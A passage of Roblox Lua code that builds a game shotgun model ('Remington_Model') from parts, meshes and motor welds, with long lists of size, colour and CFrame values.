		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.785555542, 1),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 9.87389903e-009, 2.81181059e-007, 2.76114235e-007, 0.226424068, 0.974028468, -5.4048698e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, -0.0760993958, 0.343338013, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.8310013, 237.759995, -0.999999046, 3.8339823e-007, -7.39931565e-008, 1.47390526e-008, 0.226423383, 0.97402668, 3.90194117e-007, 0.974025846, -0.22642298),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.333333343, 0.166666672),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 1.47391024e-008, 3.90195169e-007, 3.83398572e-007, 0.226423874, 0.974028587, -7.39932062e-008, 0.974028707, -0.226423576),C1 = CFrame.new(0.00399780273, -0.155582428, 0.174621582, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 33.8689957, 237.940002, -1.19209226e-007, -3.218649e-006, 0.999999106, -0.999956608, 0.00902000349, 9.09645834e-008, -0.00901974086, -0.999955833, -3.41501391e-006),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.111111112, 0.833333373, 0.388888896),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1.19209304e-007, -0.999958694, -0.00901979674, -3.21865105e-006, 0.00901999138, -0.999958634, 0.999999821, 9.096469e-008, -3.41502323e-006),C1 = CFrame.new(0, -0.115962982, -0.00505065918, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.300000012),CFrame = CFrame.new(198.990005, 33.6520004, 237.668991, -0.999999046, 8.14069807e-008, -1.03373257e-008, 8.36369285e-009, 0.226423576, 0.974026561, 8.16332886e-008, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.055555556, 1),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 8.3636742e-009, 8.16334804e-008, 8.14070873e-008, 0.226424068, 0.974028468, -1.03373159e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, -0.335395813, 0.26399231, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Flashlight  = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.992996, 33.8850021, 240.877991, 1.52035099e-007, -2.15638394e-007, 0.999999285, -0.999976873, -0.00644559413, 1.50641782e-007, 0.00644565001, -0.999976158, -2.16613387e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.222222224, 0.722222269, 0.888888896),})
		mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035199e-007, -0.99997896, 0.00644563884, -2.15638579e-007, -0.00644563884, -0.99997896, 1, 1.5064208e-007, -2.16613969e-007),C1 = CFrame.new(0.00100708008, -0.0734596252, -2.94277954, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.7320023, 237.742996, -0.999999285, 6.83567976e-008, 7.74749935e-008, 6.59480293e-008, -0.154940739, 0.987921298, 7.95351909e-008, 0.987920582, 0.15494056),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.277777761, 0.222222224),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 6.59481856e-008, 7.95353827e-008, 6.83568544e-008, -0.154941022, 0.987923324, 7.74750717e-008, 0.987923324, 0.154941022),C1 = CFrame.new(0.00399780273, -0.254730225, 0.190719604, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.2099991, 240.874985, 4.76836874e-007, -2.98023721e-008, -0.999999285, -0.999956846, -0.00901970267, -4.45666046e-007, -0.00901957601, 0.999956131, 3.49432128e-008),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.666666687, 0.5, 0.666666687),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 4.76837215e-007, -0.999958932, -0.00901963189, -2.98023721e-008, -0.0090196915, 0.999958932, -1, -4.45666984e-007, 3.49432732e-008),C1 = CFrame.new(0, 0.251499176, -2.93684387, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Flashlight  = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.992996, 33.8570023, 241.006989, -0.999999285, -1.07331651e-007, -3.22922745e-007, -1.05247814e-007, 0.999976873, -0.00644559413, 3.23607196e-007, -0.00644565001, -0.999976158),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("CylinderMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.277777761, 0.333333343, 0.277777761),})
		mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, -1.05248041e-007, 3.23608106e-007, -1.07331715e-007, 0.99997896, -0.00644563884, -3.22922972e-007, -0.00644563884, -0.99997896),C1 = CFrame.new(0.00100708008, -0.100292206, -3.07202148, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.304347813),CFrame = CFrame.new(198.988007, 33.6610031, 236.895996, -0.999999285, 9.59232693e-014, 1.13686838e-013, 5.27355937e-016, 0.722307146, -0.691570163, -9.59232693e-014, -0.691569686, -0.722306609),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(0.521738946, 0.565217137, 1),})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 8.48033395e-014, 0.722308695, -0.691571593, 8.85725073e-014, -0.691571593, -0.722308695),C1 = CFrame.new(0.0059967041, -0.333366394, 1.03704834, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.988007, 33.7679977, 237.063019, -0.999999285, 5.41788836e-014, 1.38555833e-013, 5.27355937e-016, 0.983430386, -0.181274071, -9.59232693e-014, -0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(0.521738946, 0.565217137, 0.869565129),})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 2.22285857e-014, 0.983432472, -0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.224868774, 0.871002197, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.217391297),CFrame = CFrame.new(198.988007, 33.5149956, 236.602005, 0.999999285, -5.41788836e-014, 1.38555833e-013, -5.27355937e-016, -0.983430386, -0.181274071, 9.59232693e-014, 0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Stock,"Mesh",{Scale = Vector3.new(0.521739066, 0.652173817, 1),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, -2.22285857e-014, -0.983432472, 0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.482017517, 1.32971191, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.243478239, 0.486956477, 0.200000003),CFrame = CFrame.new(198.988007, 33.6849976, 236.393021, -0.999999285, 5.41788836e-014, 1.38555833e-013, 5.27355937e-016, 0.983430386, -0.181274071, -9.59232693e-014, -0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(1, 1, 0.652173877),})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 2.22285857e-014, 0.983432472, -0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.313907623, 1.54022217, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.313043416, 0.217391297),CFrame = CFrame.new(198.988007, 33.7330017, 236.561005, -0.999999285, 5.41788836e-014, 1.38555833e-013, 5.27355937e-016, 0.983430386, -0.181274071, -9.59232693e-014, -0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(0.521738946, 1, 1),})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 2.22285857e-014, 0.983432472, -0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.264392853, 1.37268066, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.243478239, 0.200000003, 0.243478239),CFrame = CFrame.new(198.988007, 33.4449997, 236.438004, 0.999999285, 1.38555833e-013, 5.41788836e-014, -5.27355937e-016, -0.181274071, 0.983430386, 9.59232693e-014, -0.98342967, -0.181273997),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("CylinderMesh",Stock,"Mesh",{Scale = Vector3.new(1, 0.652173877, 1),})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, 1.20592555e-013, -0.181274489, -0.983432472, 2.22285857e-014, 0.983432472, -0.181274489),C1 = CFrame.new(0.0059967041, -0.553489685, 1.49307251, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.408695608),CFrame = CFrame.new(198.988007, 33.552002, 236.628006, -0.999999285, 7.46069873e-014, 1.13686838e-013, 5.27355937e-016, 0.677980304, -0.73507756, -9.59232693e-014, -0.735077083, -0.677979767),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(0.5, 0.304347843, 1),})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 9.0138407e-014, 0.677981615, -0.73507911, 8.31369343e-014, -0.73507911, -0.677981615),C1 = CFrame.new(0.0059967041, -0.444778442, 1.30404663, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.304347813),CFrame = CFrame.new(198.988007, 33.7040024, 236.832001, 0.999999285, -5.41788836e-014, 1.38555833e-013, -5.27355937e-016, -0.983430386, -0.181274071, 9.59232693e-014, 0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Stock,"Mesh",{Scale = Vector3.new(0.521739066, 0.782608747, 1),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, -2.22285857e-014, -0.983432472, 0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.29094696, 1.10142517, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.443478078),CFrame = CFrame.new(198.988007, 33.6809998, 236.822021, -0.999999285, 8.17124146e-014, 1.10134124e-013, 5.27355937e-016, 0.791647375, -0.610974848, -9.59232693e-014, -0.610974431, -0.791646838),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(0.5, 0.130434766, 1),})
		mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 7.49203759e-014, 0.791648984, -0.6109761, 9.70753019e-014, -0.6109761, -0.791648984),C1 = CFrame.new(0.0059967041, -0.314037323, 1.11120605, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Barrel = New("Part",Remington_Model,"Barrel",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 2.38888884, 0.200000003),CFrame = CFrame.new(198.994003, 34.2180023, 239.997009, -2.83248072e-015, -6.03961325e-014, -0.999999285, -0.999956846, -0.00901970267, -5.55111512e-016, -0.00901960582, 0.999956131, 2.48689958e-014),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("CylinderMesh",Barrel,"Mesh",{Scale = Vector3.new(0.611111104, 1, 0.611111104),})
		mot = New("Motor",Barrel,"mot",{Part0 = Barrel,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.4408921e-016, -0.999958932, -0.00901966169, -3.6918385e-014, -0.0090196915, 0.999958932, -1, -5.69026866e-015, -4.39813642e-015),C1 = CFrame.new(0, 0.251583099, -2.05882263, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.400000006),CFrame = CFrame.new(199.050003, 34.2200012, 238.524979, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.277777761, 0.611111104, 1),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(-0.0559997559, 0.24030304, -0.586837769, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.211111113),CFrame = CFrame.new(198.990005, 34.0890007, 237.733002, 0.999999285, 2.76113923e-007, 5.40487619e-008, -9.87398696e-009, 0.226424217, -0.974026322, -2.81180235e-007, 0.974025607, 0.226424113),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 1, 1),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -9.8739914e-009, -2.81181002e-007, 2.76114122e-007, 0.226424724, 0.974028349, 5.40488116e-008, -0.974028349, 0.226424724),C1 = CFrame.new(0.00399780273, 0.102165222, 0.203933716, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 34.0079994, 237.462006, -0.999999046, -2.7611398e-007, -3.33740253e-008, 9.50260031e-008, -0.226423293, -0.974026442, 2.61385878e-007, -0.974025846, 0.226423472),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.277777761, 0.777777791),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 9.50261807e-008, 2.61386589e-007, -2.76114235e-007, -0.226423785, -0.974028587, -3.33740395e-008, -0.974028468, 0.226424068),C1 = CFrame.new(0.00399780273, 0.0187225342, 0.474182129, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		S1 = New("Part",Remington_Model,"S1",{BrickColor = BrickColor.new("Black"),Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.222222224, 0.200000003),CFrame = CFrame.new(198.994003, 34.0440025, 238.544983, 1.19209211e-007, -5.96045595e-008, -0.999999225, 0.996937811, -0.0781664699, 1.78266475e-007, -0.0781665444, -0.996937275, -1.39772816e-008),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("CylinderMesh",S1,"Mesh",{Scale = Vector3.new(0.555555522, 1, 0.555555522),})
		mot = New("Motor",S1,"mot",{Part0 = S1,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.19209304e-007, 0.996939898, -0.0781667307, -5.9604627e-008, -0.0781666711, -0.996940076, -0.99999994, 1.78266845e-007, -1.39773428e-008),C1 = CFrame.new(0, 0.064491272, -0.608428955, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.279999971, 0.470000088),CFrame = CFrame.new(198.994003, 34.1240005, 237.701004, 0.999999285, -5.37212514e-008, 6.26022313e-007, -6.67735307e-008, 0.981607676, 0.190898314, -6.24763345e-007, -0.190898225, 0.98160696),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.833000004, 0.899999976, 1),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -6.67736089e-008, -6.2476505e-007, -5.37213083e-008, 0.981609702, -0.190898731, 6.26022768e-007, 0.190898731, 0.981609702),C1 = CFrame.new(0, 0.136875153, 0.236251831, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Flash = New("Part",Remington_Model,"Flash",{BrickColor = BrickColor.new("Bright orange"),Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.233333334, 0.200000003),CFrame = CFrame.new(198.994003, 34.2019997, 241.703979, 0.999999285, 3.80976317e-009, 4.35450787e-008, -4.35775291e-008, 0.00901961327, 0.999956846, 3.41675843e-009, -0.999956131, 0.00901954621),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.854902, 0.521569, 0.254902),})
		Mesh = New("SpecialMesh",Flash,"Mesh",{Scale = Vector3.new(1.83333337, 3, 1.83333337),MeshType = Enum.MeshType.Sphere,})
		mot = New("Motor",Flash,"mot",{Part0 = Flash,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776428e-008, 3.41679263e-009, 3.80974008e-009, 0.00901960209, -0.999958932, 4.35450609e-008, 0.999958932, 0.00901960209),C1 = CFrame.new(0, 0.250976563, -3.76586914, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Really black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.400000006),CFrame = CFrame.new(198.955002, 34.2200012, 238.524979, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.111111112, 0.611111104, 1),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0.0390014648, 0.24030304, -0.586837769, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.333333343, 0.200000003),CFrame = CFrame.new(198.994003, 34.1469955, 238.763, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 1, 0.388888896),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.169448853, -0.825500488, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.966003, 34.2579956, 238.703003, -0.999999285, -4.35450715e-008, -3.80975962e-009, 4.3577586e-008, -0.999956846, -0.00901973248, -3.41675488e-009, -0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.222222224, 0.222222224),MeshType = Enum.MeshType.Wedge,})
